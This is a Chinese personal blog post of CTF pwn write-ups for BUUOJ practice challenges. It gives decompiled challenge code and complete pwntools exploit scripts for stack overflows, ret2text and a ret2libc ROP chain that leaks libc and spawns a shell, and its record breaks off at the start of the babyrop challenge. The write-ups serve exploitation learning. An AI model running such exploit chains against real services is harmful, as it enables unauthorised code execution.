<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><title>BUUOJ刷题记录补档-1 | Icey's Blog</title><meta name="keywords" content="pwn,BUUCTF"><meta name="author" content="1c3y"><meta name="copyright" content="1c3y"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="前言上学期和寒假刷了一些题，但是因为懒没有全部记录下，现在分几篇博客慢慢补上，也当作回顾这篇的题应该都是很基础的，不详细写（偷懒） 0x1 warmup_csaw_2016常规栈溢出 123456from pwn import*p &#x3D; remote(&amp;#x27;node3.buuoj.cn&amp;#x27;,&amp;#x27;27790&amp;#x27;)binsh_addr &#x3D; 0x40060dpayload &#x3D;">
<meta property="og:type" content="article">
<meta property="og:title" content="BUUOJ刷题记录补档-1">
<meta property="og:url" content="http://example.com/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/index.html">
<meta property="og:site_name" content="Icey&#39;s Blog">
<meta property="og:description" content="前言上学期和寒假刷了一些题，但是因为懒没有全部记录下，现在分几篇博客慢慢补上，也当作回顾这篇的题应该都是很基础的，不详细写（偷懒） 0x1 warmup_csaw_2016常规栈溢出 123456from pwn import*p &#x3D; remote(&amp;#x27;node3.buuoj.cn&amp;#x27;,&amp;#x27;27790&amp;#x27;)binsh_addr &#x3D; 0x40060dpayload &#x3D;">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg">
<meta property="article:published_time" content="2021-03-22T13:19:00.000Z">
<meta property="article:modified_time" content="2021-03-22T15:40:01.878Z">
<meta property="article:author" content="1c3y">
<meta property="article:tag" content="pwn">
<meta property="article:tag" content="BUUCTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg"><link rel="shortcut icon" href="/img/favicon.png"><link rel="canonical" href="http://example.com/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    jQuery: 'https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js',
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/js/jquery.justifiedGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/css/justifiedGallery.min.css'
    },
    fancybox: {
      js: 'https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.js',
      css: 'https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isanchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = { 
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2021-03-22 23:40:01'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    })(window)</script><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="Icey's Blog" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="author-avatar"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data"><div class="data-item is-center"><div class="data-item-link"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Icey's Blog</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">BUUOJ刷题记录补档-1</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2021-03-22T13:19:00.000Z" title="发表于 2021-03-22 21:19:00">2021-03-22</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2021-03-22T15:40:01.878Z" title="更新于 2021-03-22 23:40:01">2021-03-22</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/CTF/">CTF</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="BUUOJ刷题记录补档-1"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>上学期和寒假刷了一些题，但是因为懒没有全部记录下，现在分几篇博客慢慢补上，也当作回顾<br>这篇的题应该都是很基础的，不详细写（偷懒）</p>
<h2 id="0x1-warmup-csaw-2016"><a href="#0x1-warmup-csaw-2016" class="headerlink" title="0x1 warmup_csaw_2016"></a>0x1 warmup_csaw_2016</h2><p>常规栈溢出</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">p = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="string">&#x27;27790&#x27;</span>)</span><br><span class="line">binsh_addr = <span class="number">0x40060d</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x40</span>+<span class="number">8</span>) + p64(binsh_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x2-pwn1-sctf-2016"><a href="#0x2-pwn1-sctf-2016" class="headerlink" title="0x2 pwn1_sctf_2016"></a>0x2 pwn1_sctf_2016</h2><p>ret2text</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">p = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="string">&#x27;29973&#x27;</span>)</span><br><span class="line">binsh_addr = <span class="number">0x08048F0D</span></span><br><span class="line">payload = <span class="string">&#x27;I&#x27;</span>*<span class="number">20</span> + <span class="string">&#x27;b&#x27;</span>*<span class="number">4</span> + p32(binsh_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x3-ciscn-2019-n-1"><a href="#0x3-ciscn-2019-n-1" class="headerlink" title="0x3 ciscn_2019_n_1"></a>0x3 ciscn_2019_n_1</h2><p>溢出到v2，把v2改成11.28125，这里要用11.28125在内存中的地址</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">p = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="string">&#x27;27563&#x27;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x30</span>-<span class="number">0x5</span>+<span class="number">1</span>) + p64(<span class="number">0x41348000</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x4-jarvisoj-level0"><a href="#0x4-jarvisoj-level0" class="headerlink" title="0x4 jarvisoj_level0"></a>0x4 jarvisoj_level0</h2><p>ret2text</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">sh = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="string">&#x27;26488&#x27;</span>)</span><br><span class="line">binsh = <span class="number">0x0400596</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x80</span>+<span class="number">8</span>) + p64(binsh)</span><br><span class="line">sh.sendline(payload)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x5-ciscn-2019-c-1"><a href="#0x5-ciscn-2019-c-1" class="headerlink" title="0x5 ciscn_2019_c_1"></a>0x5 ciscn_2019_c_1</h2><p>ret2libc，当时做这种题可把我坑苦了，后来深入理解函数栈的调用和64位系统通过寄存器传参后就好了<br>重点还是从汇编角度来理解，做题的时候已经变成一种模板了</p>
<h3 id="主函数"><a href="#主函数" class="headerlink" title="主函数"></a>主函数</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  init(*(_QWORD *)&amp;argc, argv, envp);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EEEEEEE                            hh      iii                &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;====================================================================&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to this Encryption machine\n&quot;</span>);</span><br><span class="line">  begin();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      fflush(<span class="number">0LL</span>);</span><br><span class="line">      v4 = <span class="number">0</span>;</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v4);</span><br><span class="line">      getchar();</span><br><span class="line">      <span class="keyword">if</span> ( v4 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;I think you can do it by yourself&quot;</span>);</span><br><span class="line">      begin();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v4 == <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Bye!&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v4 != <span class="number">1</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    encrypt();</span><br><span class="line">    begin();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Something Wrong!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;   </span><br></pre></td></tr></table></figure>
<p>重点在encrypt处：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">encrypt</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">size_t</span> v0; <span class="comment">// rbx</span></span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">48</span>]; <span class="comment">// [rsp+0h] [rbp-50h]</span></span><br><span class="line">  __int16 v3; <span class="comment">// [rsp+30h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your Plaintext to be encrypted&quot;</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v0 = (<span class="keyword">unsigned</span> <span class="keyword">int</span>)x;</span><br><span class="line">    <span class="keyword">if</span> ( v0 &gt;= <span class="built_in">strlen</span>(s) )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( s[x] &lt;= <span class="number">96</span> || s[x] &gt; <span class="number">122</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( s[x] &lt;= <span class="number">64</span> || s[x] &gt; <span class="number">90</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( s[x] &gt; <span class="number">47</span> &amp;&amp; s[x] &lt;= <span class="number">57</span> )</span><br><span class="line">          s[x] ^= <span class="number">0xF</span>u;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        s[x] ^= <span class="number">0xE</span>u;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      s[x] ^= <span class="number">0xD</span>u;</span><br><span class="line">    &#125;</span><br><span class="line">    ++x;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Ciphertext&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>存在栈溢出，这里会根据输入字符串长度对字符串进行加密，只是简单的异或，可以自己写一个异或加密函数把payload加密一下。<br>这里更方便的是利用strlen函数的特点：<strong>C 库函数 size_t strlen(const char *str) 计算字符串 str 的长度，直到空结束字符，但不包括空结束字符。**，在payload开始处填充’\x00’使strlen函数返回值为</strong>0**，从而绕过加密<br>ret2libc题目，没有system和’/bin/sh’,而且PIE是关闭的，我们可以泄露puts函数的got表项，再根据其与libc中的偏移计算得到system和/bin/sh的地址。<br>由于是64位程序，需要向rdi寄存器传入函数参数，用ROP_gadget找一些gadget:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ ROPgadget --binary ciscn_2019_c_1 --only <span class="string">&#x27;pop|ret&#x27;</span> | grep rdi</span><br><span class="line">0x0000000000400c83 : pop rdi ; ret</span><br></pre></td></tr></table></figure>
<p>一些解释和汇编角度来理解payload执行的思路放在exp里面吧，不得不说学汇编真的是重要<br>贴一下ret指令的作用：</p>
<ul>
<li>sp增加一个内存单元</li>
<li>栈顶数据出栈赋值给ip寄存器</li>
</ul>
<p>还有使用ret的原因：<a target="_blank" rel="noopener" href="http://blog.eonew.cn/archives/958">在一些64位的glibc的payload调用system函数失败问题</a><br>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">sh = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="string">&#x27;29858&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_c_1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">rdi_addr = <span class="number">0x0000000000400c83</span></span><br><span class="line">main = elf.symbols[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">ret = <span class="number">0x00000000004006b9</span></span><br><span class="line"></span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;choice!\n&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line"><span class="comment"># 这里函数ret的时候会把栈提高一个内存单元，也就是ebp+0x8，然后pop，rdi_addr进入eip寄存器后，esp+0x8，也就是到了</span></span><br><span class="line"><span class="comment"># puts_got的位置，然后eip执行指令就可以把参数传入rdi了，pop rdi完了esp再抬0x8到puts_plt的位置，执行ret,相当于调用puts_plt，</span></span><br><span class="line"><span class="comment"># 就可以打印出got表项了</span></span><br><span class="line">payload = <span class="string">&#x27;\0&#x27;</span> + <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x50</span>+<span class="number">8</span>-<span class="number">1</span>) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main)</span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;encrypted\n&#x27;</span>,payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 要接收两次，第一次把 **puts(&quot;Ciphertext&quot;);**里的接收掉</span></span><br><span class="line">sh.recvline()</span><br><span class="line">sh.recvline()</span><br><span class="line"></span><br><span class="line">puts_addr = u64(sh.recvuntil(<span class="string">&#x27;\n&#x27;</span>)[:-<span class="number">1</span>].ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;puts&#x27;</span>,puts_addr)</span><br><span class="line">libcbase = puts_addr - libc.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">system_addr = libcbase + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">binsh_addr = libcbase + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里要用ret对齐</span></span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;choice!\n&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">payload = <span class="string">&#x27;\0&#x27;</span> + <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x50</span>+<span class="number">8</span>-<span class="number">1</span>) + p64(ret)+p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(main)</span><br><span class="line">sh.sendlineafter(<span class="string">&#x27;encrypted\n&#x27;</span>,payload)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x6-OGeek2019-babyrop"><a href="#0x6-OGeek2019-babyrop" class="headerlink" title="0x6 [OGeek2019]babyrop"></a>0x6 [OGeek2019]babyrop</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> buf; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> v2; <span class="comment">// [esp+Bh] [ebp-Dh]</span></span><br><span class="line">  <span class="keyword">int</span> fd; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  sub_80486BB();</span><br><span class="line">  fd = open(<span class="string">&quot;/dev/urandom&quot;</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( fd &gt; <span class="number">0</span> )</span><br><span class="line">    read(fd, &amp;buf, <span class="number">4u</span>);</span><br><span class="line">  v2 = sub_804871F(buf);</span><br><span class="line">  sub_80487D0(v2);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>随机数可以不用管，重点在这里：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">sub_804871F</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">size_t</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> s; <span class="comment">// [esp+Ch] [ebp-4Ch]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">7</span>]; <span class="comment">// [esp+2Ch] [ebp-2Ch]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v5; <span class="comment">// [esp+33h] [ebp-25h]</span></span><br><span class="line">  <span class="keyword">ssize_t</span> v6; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(&amp;s, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  <span class="built_in">sprintf</span>(&amp;s, <span class="string">&quot;%ld&quot;</span>, a1);</span><br><span class="line">  v6 = read(<span class="number">0</span>, buf, <span class="number">0x20</span>u);                     <span class="comment">// 存在溢出，buf紧挨着v5，可以修改v5的值大于127</span></span><br><span class="line">  buf[v6 - <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  v1 = <span class="built_in">strlen</span>(buf);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strncmp</span>(buf, &amp;s, v1) )                   <span class="comment">// &#x27;\x00&#x27;开头来绕过strncmp</span></span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;Correct\n&quot;</span>, <span class="number">8u</span>);</span><br><span class="line">  <span class="keyword">return</span> v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>然后在这里实现retlibc:</p>
